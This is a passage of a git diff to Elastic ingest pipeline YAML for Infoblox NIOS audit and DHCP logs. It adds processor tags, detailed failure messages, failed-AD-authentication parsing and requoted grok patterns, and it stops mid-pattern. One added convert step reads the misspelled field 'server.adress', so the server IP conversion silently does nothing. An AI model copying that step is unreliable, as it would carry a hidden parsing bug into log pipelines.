'{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - set: field: event.kind value: pipeline_error diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml index 668f023cd85..a68ce865aff 100644 --- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml +++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml @@ -21,12 +21,16 @@ processors: patterns: - "^%{GREEDYDATA:_tmp.timestamp} \\[%{DATA:user.name}\\]: %{DATA:event.action} - - %{GREEDYDATA:details}$" - "^%{GREEDYDATA:_tmp.timestamp} \\[%{DATA:user.name}\\]: %{DATA:event.action} %{GREEDYDATA:infoblox_nios.log.audit.message}$" + - "^%{IPORHOST:server.address}: AD authentication for user %{DATA:user.name} %{FAILED:_tmp.ad_auth_failed}$" - "^%{GREEDYDATA:_tmp.timestamp} %{GREEDYDATA:infoblox_nios.log.audit.message}$" - "^%{GREEDYDATA:infoblox_nios.log.audit.message}$" + pattern_definitions: + FAILED: failed - date: field: _tmp.timestamp target_field: _tmp.timestamp if: ctx._tmp?.timestamp != null + tag: date_tmp_timestamp formats: - dd-MMM-yyyy HH:mm:ss.SSS - yyyy-MM-dd HH:mm:ss.SSS'Z' @@ -36,7 +40,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - kv: field: details target_field: audit @@ -64,12 +72,12 @@ processors: ignore_failure: true - set: field: event.outcome - if: ctx.event?.action == 'login_denied' + if: ctx.event?.action == 'login_denied' || ctx._tmp?.ad_auth_failed != null value: 'failure' ignore_failure: true - append: field: event.category - if: ctx.event?.action == 'login_denied' + if: ctx.event?.action == 'login_denied' || ctx._tmp?.ad_auth_failed != null value: 'authentication' ignore_failure: true - append: @@ -114,13 +122,28 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{infoblox_nios.log.audit.ip}}}' if: ctx.infoblox_nios?.log?.audit?.ip != null allow_duplicates: false ignore_failure: true + - convert: + field: server.adress + type: ip + target_field: server.ip + ignore_failure: true + - append: + field: related.ip + value: '{{{server.ip}}}' + if: ctx.server?.ip != null + allow_duplicates: false + ignore_failure: true - gsub: field: user.name ignore_missing: true @@ -143,4 +166,8 @@ on_failure: value: pipeline_error - append: field: error.message - value: '{{{ _ingest.on_failure_message }}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml index e3d4c19c650..e0b991db8d9 100644 --- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml +++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml @@ -5,107 +5,118 @@ processors: field: network.protocol value: dhcp - grok: + tag: grok_DHCPDISCOVER_message field: message if: ctx.message.contains('DHCPDISCOVER') patterns: - - "^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: network %{DATA:infoblox_nios.log.dhcp.network}: %{GREEDYDATA:infoblox_nios.log.dhcp.discover.message}$" - - "^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{WORD:event.action} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: network %{DATA:infoblox_nios.log.dhcp.network}: %{GREEDYDATA:infoblox_nios.log.dhcp.discover.message}$' + - '^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{WORD:event.action} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPOFFER_message field: message if: ctx.message.contains('DHCPOFFER') patterns: - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPREQUEST_message field: message if: ctx.message.contains('DHCPREQUEST') patterns: - - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$" - - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$" - - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$" - - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$' + - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$' + - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$' + - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPACK_message field: message if: ctx.message.contains('DHCPACK') patterns: - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.lease.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.message}\\)$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.lease.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.lease.message}\\)$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$" - - "^%{WORD:event.action} to %{IP:client.ip} \\(%{MAC:client.mac}\\) via %{WORD:observer.ingress.interface.name}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \(%{DATA:infoblox_nios.log.dhcp.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \(%{DATA:infoblox_nios.log.dhcp.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{DATA:infoblox_nios.log.dhcp.lease.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} (?:\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) )?via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \(%{DATA:infoblox_nios.log.dhcp.message}\)$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via 